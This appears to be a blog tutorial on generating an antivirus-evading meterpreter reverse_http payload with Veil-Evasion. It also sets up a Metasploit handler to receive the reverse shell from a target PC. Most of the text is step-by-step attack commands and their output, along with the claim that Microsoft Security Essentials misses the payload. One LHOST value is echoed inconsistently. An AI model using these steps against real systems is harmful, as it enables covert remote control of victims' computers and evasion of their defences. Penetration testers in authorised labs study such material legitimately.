As we said in the previous tutorial (powershell_rev_tcp). Veil-Evasion is a tool, that knows to create a PAYLOADS for Metasploit tool.
Veil-Evasion is a tool, that knows to create a PAYLOADS for Metasploit tool.
We found that this tool, can cause collision between him and between MSF tool, and we also found some issues with Kali system and Wine installation.
So, we installed the Veil tool on Ubuntu 16.04 machine that exist in our LAN, and during the PAYLOAD creation process on Veil, we entered the values of our Laptop, that runs Kali Linux with MSF on it.
BTW, if you pen-testing from your office, you can create a PAYLOADS on any machine that you want, and in the values of the PAYLOADS, you can route the PAYLOADS to any machine that you want.
you don’t have to do it on one machine all the time.
As a Hackers, we can use a few Linux machines at the same time, (Virtual & Physical as well).
We found that the Microsoft Security Essential, does not alert about the Veil’s PAYLOADS, but, we haven’t tried it with other AVs.
[LETS MAKE IT WORK]
#1) Open terminal and navigate to Veil tool
assault@ubuntuvm:~$ cd Tools/Veil-evasion
*Now, let’s locate the .py file & type*
assault@ubuntuvm:~/Tools/Veil-evasion$ sudo ./Veil-Evasion.py
*And we will get this out put – the command*
#2) Inside Veil let’s type 1 by 1
*Locate – #4 payload*
[menu>>]: use c/meterpreter/rev_http
[menu>>]: use 4
*We will get this output*
*Let’s set up the parameters of our Kali machine*
[c/meterpreter/rev_http>>]: set LHOST 192.168.50.105
[i] LHOST => 192.168.50.15
[c/meterpreter/rev_http>>]: set LPORT 8080
[i] LPORT => 8080
*And we will get this output*
*Let’s pick a name to our new PAYLOAD*
*The name will be: hack-by-http1 (for example)*
[>] Please enter the base name for output files (default is ‘payload’): hack-by-http1
*And we will get this output*
*Ok, let’s analyze the output*
- Language – at which language is it written
- Payload – the type of our payload (in our case is: reverse_tcp)
- Required Options – the parameters of our payload
- Payload file – the path of the bat format
- Handler file – the path of the handler (for MSF tool)
It means that we can run the command: msfconsole -r hack-by-http1.rc from this path:
*And MSF will run the payload immediately*
*In our case we are using 2 separate machines for this hack, so we will ignore this command (just for now)*
*Now, let’s copy the PAYLOAD to our target*
#3) Let’s move to Kali machine and open Metasploit by the command
assault@hackbook:~$ sudo msfconsole
*Inside MSF, type 1 by 1*
msf > use exploit multi/handler
msf exploit (handler) > set LHOST 192.168.50.15
LHOST => 192.168.50.15
msf exploit (handler) > set LPORT 8080
LPORT => 8080
msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_http
PAYLOAD => windows/meterpreter/reverse_http
msf exploit (handler) > set RHOST 192.168.50.7
RHOST => 192.168.50.7
msf exploit (handler) > show options
*If everything looks OK at the options area, type exploit
msf exploit (handler) > exploit
*Now, what we left to do is, to run the payload on the target’s PC*
Here is an example by Gamer Forever